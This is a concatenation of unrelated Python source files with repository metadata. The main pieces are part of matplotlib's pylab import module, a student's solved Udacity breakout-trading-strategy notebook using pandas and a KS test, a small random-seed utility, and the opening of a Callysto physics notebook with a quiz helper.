drange,\\\n        epoch2num, num2epoch, mx2num,\\\n        DateFormatter, IndexDateFormatter, DateLocator,\\\n        RRuleLocator, YearLocator, MonthLocator, WeekdayLocator,\\\n        DayLocator, HourLocator, MinuteLocator, SecondLocator,\\\n        rrule, MO, TU, WE, TH, FR, SA, SU, YEARLY, MONTHLY,\\\n        WEEKLY, DAILY, HOURLY, MINUTELY, SECONDLY, relativedelta\n\nimport matplotlib.dates  # Do we need this at all?\n\n# bring all the  symbols in so folks can import them from\n# pylab in one fell swoop\n\n\n## We are still importing too many things from mlab; more cleanup is needed.\n\nfrom matplotlib.mlab import griddata, stineman_interp, slopes, \\\n    inside_poly, poly_below, poly_between, \\\n    is_closed_polygon, path_length, distances_along_curve, vector_lengths\n\nfrom matplotlib.mlab import window_hanning, window_none,  detrend, demean, \\\n     detrend_mean, detrend_none, detrend_linear, entropy, normpdf, \\\n     find, longest_contiguous_ones, longest_ones, prepca, \\\n     prctile, prctile_rank, \\\n     center_matrix, rk4, bivariate_normal, get_xyz_where, \\\n     get_sparse_matrix, dist, \\\n     dist_point_to_segment, segments_intersect, fftsurr, movavg, \\\n     exp_safe, \\\n     amap, rms_flat, l1norm, l2norm, norm_flat, frange,  identity, \\\n     base_repr, binary_repr, log2, ispower2, \\\n     rec_append_fields, rec_drop_fields, rec_join, csv2rec, rec2csv, isvector\n\nimport matplotlib.mlab as mlab\nimport matplotlib.cbook as cbook\n\nfrom numpy import *\nfrom numpy.fft import *\nfrom numpy.random import *\nfrom numpy.linalg import *\n\nfrom matplotlib.pyplot import *\n\n# provide the recommended module abbrevs in the pylab namespace\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.ma as ma\n\n# don't let numpy's datetime hide stdlib\nimport datetime\n\n# This is needed, or bytes will be numpy.random.bytes from\n# \"from numpy.random import *\" above\nbytes = __builtins__['bytes']\n", "meta": {"hexsha": "86fe482ad65fd62cf82770175f958166e697b592", "size": 11092, "ext": "py", "lang": "Python", "max_stars_repo_path": "lib/matplotlib/pylab.py", "max_stars_repo_name": "jbbrokaw/matplotlib", "max_stars_repo_head_hexsha": "86ec1b6fc5628bfb2d09797c58d7eed0ca8c2427", "max_stars_repo_licenses": ["MIT", "BSD-3-Clause"], "max_stars_count": 113, "max_stars_repo_stars_event_min_datetime": "2015-08-16T22:38:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-27T16:46:09.000Z", "max_issues_repo_path": "lib/matplotlib/pylab.py", "max_issues_repo_name": "yingkailiang/matplotlib", "max_issues_repo_head_hexsha": "255a79b106c98c1904489afe6a754e4d943179d6", "max_issues_repo_licenses": ["MIT", "BSD-3-Clause"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2016-10-21T04:15:22.000Z", "max_issues_repo_issues_event_max_datetime": "2020-02-15T04:06:19.000Z", "max_forks_repo_path": "lib/matplotlib/pylab.py", "max_forks_repo_name": "yingkailiang/matplotlib", "max_forks_repo_head_hexsha": "255a79b106c98c1904489afe6a754e4d943179d6", "max_forks_repo_licenses": ["MIT", "BSD-3-Clause"], "max_forks_count": 41, "max_forks_repo_forks_event_min_datetime": "2015-08-16T22:38:28.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-26T21:21:30.000Z", "avg_line_length": 38.6480836237, "max_line_length": 89, "alphanum_fraction": 0.7163721601, "include": true, "reason": "import numpy,from numpy", "num_tokens": 2778, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10669058897496682, "lm_q1q2_score": 0.052928542853099156}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Project 2: Breakout Strategy\n# ## Instructions\n# Each problem consists of a function to implement and instructions on how to implement the function.  The parts of the function that need to be implemented are marked with a `# TODO` comment. After implementing the function, run the cell to test it against the unit tests we've provided. For each problem, we provide one or more unit tests from our `project_tests` package. These unit tests won't tell you if your answer is correct, but will warn you of any major errors. Your code will be checked for the correct solution when you submit it to Udacity.\n# \n# ## Packages\n# When you implement the functions, you'll only need to you use the packages you've used in the classroom, like [Pandas](https://pandas.pydata.org/) and [Numpy](http://www.numpy.org/). These packages will be imported for you. We recommend you don't add any import statements, otherwise the grader might not be able to run your code.\n# \n# The other packages that we're importing are `helper`, `project_helper`, and `project_tests`. These are custom packages built to help you solve the problems.  The `helper` and `project_helper` module contains utility functions and graph functions. The `project_tests` contains the unit tests for all the problems.\n# \n# ### Install Packages\n\n# In[1]:\n\n\nimport sys\nget_ipython().system('{sys.executable} -m pip install -r requirements.txt')\n\n\n# ### Load Packages\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\nimport helper\nimport project_helper\nimport project_tests\n\n\n# ## Market Data\n# ### Load Data\n# While using real data will give you hands on experience, it's doesn't cover all the topics we try to condense in one project. We'll solve this by creating new stocks. We've create a scenario where companies mining [Terbium](https://en.wikipedia.org/wiki/Terbium) are making huge profits. All the companies in this sector of the market are made up. They represent a sector with large growth that will be used for demonstration latter in this project.\n\n# In[3]:\n\n\ndf_original = pd.read_csv('../../data/project_2/eod-quotemedia.csv', parse_dates=['date'], index_col=False)\n\n# Add TB sector to the market\ndf = df_original\ndf = pd.concat([df] + project_helper.generate_tb_sector(df[df['ticker'] == 'AAPL']['date']), ignore_index=True)\n\nclose = df.reset_index().pivot(index='date', columns='ticker', values='adj_close')\nhigh = df.reset_index().pivot(index='date', columns='ticker', values='adj_high')\nlow = df.reset_index().pivot(index='date', columns='ticker', values='adj_low')\n\nprint('Loaded Data')\n\n\n# ### View Data\n# To see what one of these 2-d matrices looks like, let's take a look at the closing prices matrix.\n\n# In[4]:\n\n\nclose\n\n\n# ### Stock Example\n# Let's see what a single stock looks like from the closing prices. For this example and future display examples in this project, we'll use Apple's stock (AAPL). If we tried to graph all the stocks, it would be too much information.\n\n# In[5]:\n\n\napple_ticker = 'AAPL'\nproject_helper.plot_stock(close[apple_ticker], '{} Stock'.format(apple_ticker))\n\n\n# ## The Alpha Research Process\n# \n# In this project you will code and evaluate a \"breakout\" signal. It is important to understand where these steps fit in the alpha research workflow. The signal-to-noise ratio in trading signals is very low and, as such, it is very easy to fall into the trap of _overfitting_ to noise. It is therefore inadvisable to jump right into signal coding. To help mitigate overfitting, it is best to start with a general observation and hypothesis; i.e., you should be able to answer the following question _before_ you touch any data:\n# \n# > What feature of markets or investor behaviour would lead to a persistent anomaly that my signal will try to use?\n# \n# Ideally the assumptions behind the hypothesis will be testable _before_ you actually code and evaluate the signal itself. The workflow therefore is as follows:\n# \n# ![image](images/alpha_steps.png)\n# \n# In this project, we assume that the first three steps area done (\"observe & research\", \"form hypothesis\", \"validate hypothesis\"). The hypothesis you'll be using for this project is the following:\n# - In the absence of news or significant investor trading interest, stocks oscillate in a range.\n# - Traders seek to capitalize on this range-bound behaviour periodically by selling/shorting at the top of the range and buying/covering at the bottom of the range. This behaviour reinforces the existence of the range.\n# - When stocks break out of the range, due to, e.g., a significant news release or from market pressure from a large investor:\n#     - the liquidity traders who have been providing liquidity at the bounds of the range seek to cover their positions to mitigate losses, thus magnifying the move out of the range, _and_\n#     - the move out of the range attracts other investor interest; these investors, due to the behavioural bias of _herding_ (e.g., [Herd Behavior](https://www.investopedia.com/university/behavioral_finance/behavioral8.asp)) build positions which favor continuation of the trend.\n# \n# \n# Using this hypothesis, let start coding..\n# ## Compute the Highs and Lows in a Window\n# You'll use the price highs and lows as an indicator for the breakout strategy. In this section, implement `get_high_lows_lookback` to get the maximum high price and minimum low price over a window of days. The variable `lookback_days` contains the number of days to look in the past. Make sure this doesn't include the current day.\n\n# In[6]:\n\n\ndef get_high_lows_lookback(high, low, lookback_days):\n    high_s=high.shift(1)\n    low_s=low.shift(1)\n    lookback_high=high_s.rolling(lookback_days,min_periods=lookback_days).max()\n    lookback_low=low_s.rolling(lookback_days,min_periods=lookback_days).min()\n    \"\"\"\n    Get the highs and lows in a lookback window.\n    \n    Parameters\n    ----------\n    high : DataFrame\n        High price for each ticker and date\n    low : DataFrame\n        Low price for each ticker and date\n    lookback_days : int\n        The number of days to look back\n    \n    Returns\n    -------\n    lookback_high : DataFrame\n        Lookback high price for each ticker and date\n    lookback_low : DataFrame\n        Lookback low price for each ticker and date\n    \"\"\"\n    #TODO: Implement function\n    \n    return lookback_high, lookback_low\n\nproject_tests.test_get_high_lows_lookback(get_high_lows_lookback)\n\n\n# ### View Data\n# Let's use your implementation of `get_high_lows_lookback` to get the highs and lows for the past 50 days and compare it to it their respective stock.  Just like last time, we'll use Apple's stock as the example to look at.\n\n# In[7]:\n\n\nlookback_days = 50\nlookback_high, lookback_low = get_high_lows_lookback(high, low, lookback_days)\nproject_helper.plot_high_low(\n    close[apple_ticker],\n    lookback_high[apple_ticker],\n    lookback_low[apple_ticker],\n    'High and Low of {} Stock'.format(apple_ticker))\n\n\n# ## Compute Long and Short Signals\n# Using the generated indicator of highs and lows, create long and short signals using a breakout strategy. Implement `get_long_short` to generate the following signals:\n# \n# | Signal | Condition |\n# |----|------|\n# | -1 | Low > Close Price |\n# | 1  | High < Close Price |\n# | 0  | Otherwise |\n# \n# In this chart, **Close Price** is the `close` parameter. **Low** and **High** are the values generated from `get_high_lows_lookback`, the `lookback_high` and `lookback_low` parameters.\n\n# In[8]:\n\n\ndef get_long_short(close, lookback_high, lookback_low):\n    \n    closed=close.copy()\n    \n    closed_high=(lookback_high.fillna(0)-closed)\n    z=closed_high!= 0-closed\n    clear=closed_high.where(z,0)\n    y=clear<=0\n    n=clear.where(y,0)\n    x=clear>=0\n    high=n.where(x,1)\n    close_high=high.astype(int)\n    \n    closed_low=(closed-lookback_low.fillna(0))\n    t=closed_low<=0  \n    f=closed_low>=0 #lowest\n    g=closed_low!=closed\n    \n    low_var=closed_low.where(g,0)\n    low_f=low_var.where(t,0)\n    low_df=low_f.where(f,-1)\n    close_low=low_df.astype(int)\n    long_short=close_high+close_low\n    \n    \"\"\"\n    Generate the signals long, short, and do nothing.\n    \n    Parameters\n    ----------\n    close : DataFrame\n        Close price for each ticker and date\n    lookback_high : DataFrame\n        Lookback high price for each ticker and date\n    lookback_low : DataFrame\n        Lookback low price for each ticker and date\n    \n    Returns\n    -------\n    long_short : DataFrame\n        The long, short, and do nothing signals for each ticker and date\n    \"\"\"\n    #TODO: Implement function\n    \n    return long_short \n\nproject_tests.test_get_long_short(get_long_short)\n\n\n# ### View Data\n# Let's compare the signals you generated against the close prices. This chart will show a lot of signals. Too many in fact. We'll talk about filtering the redundant signals in the next problem. \n\n# In[9]:\n\n\nsignal = get_long_short(close, lookback_high, lookback_low)\nproject_helper.plot_signal(\n    close[apple_ticker],\n    signal[apple_ticker],\n    'Long and Short of {} Stock'.format(apple_ticker))\n\n\n# ## Filter Signals\n# That was a lot of repeated signals! If we're already shorting a stock, having an additional signal to short a stock isn't helpful for this strategy. This also applies to additional long signals when the last signal was long.\n# \n# Implement `filter_signals` to filter out repeated long or short signals within the `lookahead_days`. If the previous signal was the same, change the signal to `0` (do nothing signal). For example, say you have a single stock time series that is\n# \n# `[1, 0, 1, 0, 1, 0, -1, -1]`\n# \n# Running `filter_signals` with a lookahead of 3 days should turn those signals into\n# \n# `[1, 0, 0, 0, 1, 0, -1, 0]`\n# \n# To help you implement the function, we have provided you with the `clear_signals` function. This will remove all signals within a window after the last signal. For example, say you're using a windows size of 3 with `clear_signals`. It would turn the Series of long signals\n# \n# `[0, 1, 0, 0, 1, 1, 0, 1, 0]`\n# \n# into\n# \n# `[0, 1, 0, 0, 0, 1, 0, 0, 0]`\n# \n# `clear_signals` only takes a Series of the same type of signals, where `1` is the signal and `0` is no signal. It can't take a mix of long and short signals. Using this function, implement `filter_signals`. \n# \n# For implementing `filter_signals`, we don't reccommend you try to find a vectorized solution. Instead, you should use the [`iterrows`](https://pandas.pydata.org/pandas-docs/version/0.21/generated/pandas.DataFrame.iterrows.html) over each column.\n\n# In[10]:\n\n\ndef clear_signals(signals, window_size):\n    \"\"\"\n    Clear out signals in a Series of just long or short signals.\n    \n    Remove the number of signals down to 1 within the window size time period.\n    \n    Parameters\n    ----------\n    signals : Pandas Series\n        The long, short, or do nothing signals\n    window_size : int\n        The number of days to have a single signal       \n    \n    Returns\n    -------\n    signals : Pandas Series\n        Signals with the signals removed from the window size\n    \"\"\"\n    # Start with buffer of window size\n    # This handles the edge case of calculating past_signal in the beginning\n    clean_signals = [0]*window_size\n    \n    for signal_i, current_signal in enumerate(signals):\n        # Check if there was a signal in the past window_size of days\n        has_past_signal = bool(sum(clean_signals[signal_i:signal_i+window_size]))\n        # Use the current signal if there's no past signal, else 0/False\n        clean_signals.append(not has_past_signal and current_signal)\n        \n    # Remove buffer\n    clean_signals = clean_signals[window_size:]\n\n    # Return the signals as a Series of Ints\n    return pd.Series(np.array(clean_signals).astype(np.int), signals.index)\n\n\ndef filter_signals(signal, lookahead_days):\n    z=signal==-1\n    y=signal== 1\n    sig_l=signal.where(z,0)\n    sig_s=signal.where(y,0)    \n    \n    \n    \n    for column in sig_l:\n        sig_l[column]=clear_signals(sig_l[column], lookahead_days)\n        \n    for column in sig_s:\n        sig_s[column]=clear_signals(sig_s[column],lookahead_days)\n        \n    filtered_signal=sig_l+sig_s\n    \n        \n    \"\"\"\n    Filter out signals in a DataFrame.\n    \n    Parameters\n    ----------\n    signal : DataFrame\n        The long, short, and do nothing signals for each ticker and date\n    lookahead_days : int\n        The number of days to look ahead\n    \n    Returns\n    -------\n    filtered_signal : DataFrame\n        The filtered long, short, and do nothing signals for each ticker and date\n    \"\"\"\n    #TODO: Implement function\n    \n    return filtered_signal\n\nproject_tests.test_filter_signals(filter_signals)\n\n\n# ### View Data\n# Let's view the same chart as before, but with the redundant signals removed.\n\n# In[11]:\n\n\nsignal_5 = filter_signals(signal, 5)\nsignal_10 = filter_signals(signal, 10)\nsignal_20 = filter_signals(signal, 20)\nfor signal_data, signal_days in [(signal_5, 5), (signal_10, 10), (signal_20, 20)]:\n    project_helper.plot_signal(\n        close[apple_ticker],\n        signal_data[apple_ticker],\n        'Long and Short of {} Stock with {} day signal window'.format(apple_ticker, signal_days))\n\n\n# ## Lookahead Close Prices\n# With the trading signal done, we can start working on evaluating how many days to short or long the stocks. In this problem, implement `get_lookahead_prices` to get the close price days ahead in time. You can get the number of days from the variable `lookahead_days`. We'll use the lookahead prices to calculate future returns in another problem.\n\n# In[12]:\n\n\ndef get_lookahead_prices(close, lookahead_days):\n    \n    closed=close.copy()\n    n=closed.shift(-lookahead_days)\n    \n    \"\"\"\n    Get the lookahead prices for `lookahead_days` number of days.\n    \n    Parameters\n    ----------\n    close : DataFrame\n        Close price for each ticker and date\n    lookahead_days : int\n        The number of days to look ahead\n    \n    Returns\n    -------\n    lookahead_prices : DataFrame\n        The lookahead prices for each ticker and date\n    \"\"\"\n    #TODO: Implement function\n      \n    return n\n#get_lookahead_prices(close, 2)\nproject_tests.test_get_lookahead_prices(get_lookahead_prices)\n\n\n# ### View Data\n# Using the `get_lookahead_prices` function, let's generate lookahead closing prices for 5, 10, and 20 days.\n# \n# Let's also chart a subsection of a few months of the Apple stock instead of years. This will allow you to view the differences between the 5, 10, and 20 day lookaheads. Otherwise, they will mesh together when looking at a chart that is zoomed out.\n\n# In[13]:\n\n\nlookahead_5 = get_lookahead_prices(close, 5)\nlookahead_10 = get_lookahead_prices(close, 10)\nlookahead_20 = get_lookahead_prices(close, 20)\nproject_helper.plot_lookahead_prices(\n    close[apple_ticker].iloc[150:250],\n    [\n        (lookahead_5[apple_ticker].iloc[150:250], 5),\n        (lookahead_10[apple_ticker].iloc[150:250], 10),\n        (lookahead_20[apple_ticker].iloc[150:250], 20)],\n    '5, 10, and 20 day Lookahead Prices for Slice of {} Stock'.format(apple_ticker))\n\n\n# ## Lookahead Price Returns\n# Implement `get_return_lookahead` to generate the log price return between the closing price and the lookahead price.\n\n# In[14]:\n\n\ndef get_return_lookahead(close, lookahead_prices):\n    \n    ret=np.log(lookahead_prices/close)\n    \"\"\"\n    Calculate the log returns from the lookahead days to the signal day.\n    \n    Parameters\n    ----------\n    close : DataFrame\n        Close price for each ticker and date\n    lookahead_prices : DataFrame\n        The lookahead prices for each ticker and date\n    \n    Returns\n    -------\n    lookahead_returns : DataFrame\n        The lookahead log returns for each ticker and date\n    \"\"\"\n    #TODO: Implement function\n    \n    return ret\n\nproject_tests.test_get_return_lookahead(get_return_lookahead)\n\n\n# ### View Data\n# Using the same lookahead prices and same subsection of the Apple stock from the previous problem, we'll view the lookahead returns.\n# \n# In order to view price returns on the same chart as the stock, a second y-axis will be added. When viewing this chart, the axis for the price of the stock will be on the left side, like previous charts. The axis for price returns will be located on the right side.\n\n# In[15]:\n\n\nprice_return_5 = get_return_lookahead(close, lookahead_5)\nprice_return_10 = get_return_lookahead(close, lookahead_10)\nprice_return_20 = get_return_lookahead(close, lookahead_20)\nproject_helper.plot_price_returns(\n    close[apple_ticker].iloc[150:250],\n    [\n        (price_return_5[apple_ticker].iloc[150:250], 5),\n        (price_return_10[apple_ticker].iloc[150:250], 10),\n        (price_return_20[apple_ticker].iloc[150:250], 20)],\n    '5, 10, and 20 day Lookahead Returns for Slice {} Stock'.format(apple_ticker))\n\n\n# ## Compute the Signal Return\n# Using the price returns generate the signal returns.\n\n# In[16]:\n\n\ndef get_signal_return(signal, lookahead_returns):\n    ret=signal*lookahead_returns\n    \"\"\"\n    Compute the signal returns.\n    \n    Parameters\n    ----------\n    signal : DataFrame\n        The long, short, and do nothing signals for each ticker and date\n    lookahead_returns : DataFrame\n        The lookahead log returns for each ticker and date\n    \n    Returns\n    -------\n    signal_return : DataFrame\n        Signal returns for each ticker and date\n    \"\"\"\n    #TODO: Implement function\n    \n    return ret\n\nproject_tests.test_get_signal_return(get_signal_return)\n\n\n# ### View Data\n# Let's continue using the previous lookahead prices to view the signal returns. Just like before, the axis for the signal returns is on the right side of the chart.\n\n# In[17]:\n\n\ntitle_string = '{} day LookaheadSignal Returns for {} Stock'\nsignal_return_5 = get_signal_return(signal_5, price_return_5)\nsignal_return_10 = get_signal_return(signal_10, price_return_10)\nsignal_return_20 = get_signal_return(signal_20, price_return_20)\nproject_helper.plot_signal_returns(\n    close[apple_ticker],\n    [\n        (signal_return_5[apple_ticker], signal_5[apple_ticker], 5),\n        (signal_return_10[apple_ticker], signal_10[apple_ticker], 10),\n        (signal_return_20[apple_ticker], signal_20[apple_ticker], 20)],\n    [title_string.format(5, apple_ticker), title_string.format(10, apple_ticker), title_string.format(20, apple_ticker)])\n\n\n# ## Test for Significance\n# ### Histogram\n# Let's plot a histogram of the signal return values.\n\n# In[18]:\n\n\nproject_helper.plot_signal_histograms(\n    [signal_return_5, signal_return_10, signal_return_20],\n    'Signal Return',\n    ('5 Days', '10 Days', '20 Days'))\n\n\n# ### Question: What do the histograms tell you about the signal returns?\n\n# *#TODO: Put Answer In this Cell* \n# \n#         The distribution appears to have a slight left skew and when compared with a normal distribution the outliers can be observed to be located in the left (positive) tail of the distribution.The signal returns if cleared of outliers can thus be said to be normally distributed.  \n\n# ## Outliers\n# You might have noticed the outliers in the 10 and 20 day histograms. To better visualize the outliers, let's compare the 5, 10, and 20 day signals returns to normal distributions with the same mean and deviation for each signal return distributions.\n\n# In[19]:\n\n\nproject_helper.plot_signal_to_normal_histograms(\n    [signal_return_5, signal_return_10, signal_return_20],\n    'Signal Return',\n    ('5 Days', '10 Days', '20 Days'))\n\n\n# ## Kolmogorov-Smirnov Test\n# While you can see the outliers in the histogram, we need to find the stocks that are causing these outlying returns. We'll use the Kolmogorov-Smirnov Test or KS-Test. This test will be applied to teach ticker's signal returns where a long or short signal exits.\n\n# In[20]:\n\n\n# Filter out returns that don't have a long or short signal.\nlong_short_signal_returns_5 = signal_return_5[signal_5 != 0].stack()\nlong_short_signal_returns_10 = signal_return_10[signal_10 != 0].stack()\nlong_short_signal_returns_20 = signal_return_20[signal_20 != 0].stack()\n\n# Get just ticker and signal return\nlong_short_signal_returns_5 = long_short_signal_returns_5.reset_index().iloc[:, [1,2]]\nlong_short_signal_returns_5.columns = ['ticker', 'signal_return']\nlong_short_signal_returns_10 = long_short_signal_returns_10.reset_index().iloc[:, [1,2]]\nlong_short_signal_returns_10.columns = ['ticker', 'signal_return']\nlong_short_signal_returns_20 = long_short_signal_returns_20.reset_index().iloc[:, [1,2]]\nlong_short_signal_returns_20.columns = ['ticker', 'signal_return']\n\n# View some of the data\nlong_short_signal_returns_5.head(10)\n\n\n# This gives you the data to use in the KS-Test.\n# \n# Now it's time to implement the function `calculate_kstest` to use Kolmogorov-Smirnov test (KS test) between a distribution of stock returns (the input dataframe in this case) and each stock's signal returns. Run KS test on a normal distribution against each stock's signal returns. Use [`scipy.stats.kstest`](https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.stats.kstest.html#scipy-stats-kstest) perform the KS test. When calculating the standard deviation of the signal returns, make sure to set the delta degrees of freedom to 0.\n# \n# For this function, we don't reccommend you try to find a vectorized solution. Instead, you should iterate over the [`groupby`](https://pandas.pydata.org/pandas-docs/version/0.21/generated/pandas.DataFrame.groupby.html) function.\n\n# In[21]:\n\n\nfrom scipy.stats import kstest\n\n\ndef calculate_kstest(long_short_signal_returns):\n    \n    copy_n=long_short_signal_returns.copy()\n    \n    group_signal=copy_n.groupby(['ticker'])\n        \n    k_s=[]\n    p_s=[]\n    indexes=[]\n    \n    for i,r in group_signal:\n        mu=np.mean(copy_n['signal_return'])\n        std=np.std(copy_n['signal_return'],ddof=0)\n        data=r['signal_return']\n        \n        k,p=kstest(data,'norm',args=(mu,std))\n        k_s.append(k)\n        p_s.append(p)\n        indexes.append(i)\n        \n        \n    \"\"\"\n    Calculate the KS-Test against the signal returns with a long or short signal.\n    \n    Parameters\n    ----------\n    long_short_signal_returns : DataFrame\n        The signal returns which have a signal.\n        This DataFrame contains two columns, \"ticker\" and \"signal_return\"\n    \n    Returns\n    -------\n    ks_values : Pandas Series\n        KS static for all the tickers\n    p_values : Pandas Series\n        P value for all the tickers\n    \"\"\"\n    #TODO: Implement function\n    return pd.Series(k_s,index=indexes),pd.Series(p_s,index=indexes)\n#question asked on the mentor Q and A platform but the code provided in the answer was not used.    \nproject_tests.test_calculate_kstest(calculate_kstest)\n\n\n# ### View Data\n# Using the signal returns we created above, let's calculate the ks and p values.\n\n# In[22]:\n\n\nks_values_5, p_values_5 = calculate_kstest(long_short_signal_returns_5)\nks_values_10, p_values_10 = calculate_kstest(long_short_signal_returns_10)\nks_values_20, p_values_20 = calculate_kstest(long_short_signal_returns_20)\n\nprint('ks_values_5')\nprint(ks_values_5.head(10))\nprint('p_values_5')\nprint(p_values_5.head(10))\n\n\n# ## Find Outliers\n# With the ks and p values calculate, let's find which symbols are the outliers. Implement the `find_outliers` function to find the following outliers:\n# - Symbols that pass the null hypothesis with a p-value less than `pvalue_threshold`.\n# - Symbols that with a KS value above `ks_threshold`.\n\n# In[23]:\n\n\ndef find_outliers(ks_values, p_values, ks_threshold, pvalue_threshold=0.05):\n    k_s=set()\n    p_s=set()\n    for i in ks_values.index:\n        if ks_values[i]>ks_threshold:\n            k_s.add(i)\n        if p_values[i]<pvalue_threshold:\n            p_s.add(i)\n    \"\"\"\n    Find outlying symbols using KS values and P-values\n    \n    Parameters\n    ----------\n    ks_values : Pandas Series\n        KS static for all the tickers\n    p_values : Pandas Series\n        P value for all the tickers\n    ks_threshold : float\n        The threshold for the KS statistic\n    pvalue_threshold : float\n        The threshold for the p-value\n    \n    Returns\n    -------\n    outliers : set of str\n        Symbols that are outliers\n    \"\"\"\n    #TODO: Implement function\n    \n    return k_s.intersection(p_s)\n\n\nproject_tests.test_find_outliers(find_outliers)\n\n\n# ### View Data\n# Using the `find_outliers` function you implemented, let's see what we found.\n\n# In[24]:\n\n\nks_threshold = 0.8\noutliers_5 = find_outliers(ks_values_5, p_values_5, ks_threshold)\noutliers_10 = find_outliers(ks_values_10, p_values_10, ks_threshold)\noutliers_20 = find_outliers(ks_values_20, p_values_20, ks_threshold)\n\noutlier_tickers = outliers_5.union(outliers_10).union(outliers_20)\nprint('{} Outliers Found:\\n{}'.format(len(outlier_tickers), ', '.join(list(outlier_tickers))))\n\n\n# ### Show Significance without Outliers\n# Let's compare the 5, 10, and 20 day signals returns without outliers to normal distributions. Also, let's see how the P-Value has changed with the outliers removed.\n\n# In[25]:\n\n\ngood_tickers = list(set(close.columns) - outlier_tickers)\n\nproject_helper.plot_signal_to_normal_histograms(\n    [signal_return_5[good_tickers], signal_return_10[good_tickers], signal_return_20[good_tickers]],\n    'Signal Return Without Outliers',\n    ('5 Days', '10 Days', '20 Days'))\n\n\n# That's more like it! The returns are closer to a normal distribution. You have finished the research phase of a Breakout Strategy. You can now submit your project.\n# ## Submission\n# Now that you're done with the project, it's time to submit it. Click the submit button in the bottom right. One of our reviewers will give you feedback on your project with a pass or not passed grade. You can continue to the next section while you wait for feedback.\n", "meta": {"hexsha": "c646c898d26cc3591105c638f59240841fd4c790", "size": 25769, "ext": "py", "lang": "Python", "max_stars_repo_path": "project_2_starter.py", "max_stars_repo_name": "nsushant/AI-For-Trading", "max_stars_repo_head_hexsha": "f33598ec216e33bd441325f777a48efc3fcd202e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "project_2_starter.py", "max_issues_repo_name": "nsushant/AI-For-Trading", "max_issues_repo_head_hexsha": "f33598ec216e33bd441325f777a48efc3fcd202e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "project_2_starter.py", "max_forks_repo_name": "nsushant/AI-For-Trading", "max_forks_repo_head_hexsha": "f33598ec216e33bd441325f777a48efc3fcd202e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.4549418605, "max_line_length": 554, "alphanum_fraction": 0.7214094455, "include": true, "reason": "import numpy,from scipy", "num_tokens": 6280, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.334589441253186, "lm_q2_score": 0.15817434878009673, "lm_q1q2_score": 0.05292346697891913}}
{"text": "# -*- coding: utf-8 -*-\n\n\"\"\"Set seed for multi-agent experiments.\n\nAuthor: Yoshinari Motokawa <yoshinari.moto@fuji.waseda.jp>\n\"\"\"\n\nimport random\n\nimport numpy as np\nimport torch\n\n\ndef set_seed(seed: int = 921):\n    torch.manual_seed(seed)\n    np.random.seed(seed)\n    random.seed(seed)\n", "meta": {"hexsha": "17b92dbb96c3e7b9253f1c15c4f7e20447979a01", "size": 286, "ext": "py", "lang": "Python", "max_stars_repo_path": "core/utils/seed.py", "max_stars_repo_name": "Yoshi-0921/MAEXP", "max_stars_repo_head_hexsha": "cc03fdd46db9b1838df8f7782b4bd1b2bb3f11d5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "core/utils/seed.py", "max_issues_repo_name": "Yoshi-0921/MAEXP", "max_issues_repo_head_hexsha": "cc03fdd46db9b1838df8f7782b4bd1b2bb3f11d5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 10, "max_issues_repo_issues_event_min_datetime": "2021-07-04T06:32:59.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-06T04:05:24.000Z", "max_forks_repo_path": "core/utils/seed.py", "max_forks_repo_name": "Yoshi-0921/MAEXP", "max_forks_repo_head_hexsha": "cc03fdd46db9b1838df8f7782b4bd1b2bb3f11d5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 15.8888888889, "max_line_length": 58, "alphanum_fraction": 0.6923076923, "include": true, "reason": "import numpy", "num_tokens": 78, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3923368159568461, "lm_q2_score": 0.1347759226358913, "lm_q1q2_score": 0.05287755635461182}}
{"text": "![Callysto.ca Banner](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-top.jpg?raw=true)\n\n<a href=\"https://hub.callysto.ca/jupyter/hub/user-redirect/git-pull?repo=https%3A%2F%2Fgithub.com%2Fcallysto%2Fcurriculum-notebooks&branch=master&subPath=Science/StaticAndKineticFriction/StaticAndKineticFriction.ipynb&depth=1\" target=\"_parent\"><img src=\"https://raw.githubusercontent.com/callysto/curriculum-notebooks/master/open-in-callysto-button.svg?sanitize=true\" width=\"123\" height=\"24\" alt=\"Open in Callysto\"/></a>\n\n(Click **Cell** > **Run All** before proceeding.)\n\n%matplotlib inline\n\n#----------\n#Import modules and packages \nimport ipywidgets as widgets\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport random\n\n#----------\n\n#import ipywidgets as widgets\n#import random\n\n#This function produces a multiple choice form with four options\ndef multiple_choice(option_1, option_2, option_3, option_4):\n    option_list = [option_1, option_2, option_3, option_4]\n    answer = option_list[0]\n    letters = [\"(A) \", \"(B) \", \"(C) \", \"(D) \"]\n\n    #Boldface letters at the beginning of each option\n    start_bold = \"\\033[1m\"; end_bold = \"\\033[0;0m\"\n\n    #Randomly shuffle the options\n    random.shuffle(option_list)\n    \n    #Prints the letters (A) to (D) in sequence with randomly chosen options\n    for i in range(4):\n        option_text = option_list.pop()\n        print(start_bold + letters[i] + end_bold + option_text)\n\n        #Stores the correct answer\n        if option_text == answer:\n            letter_answer = letters[i]\n\n    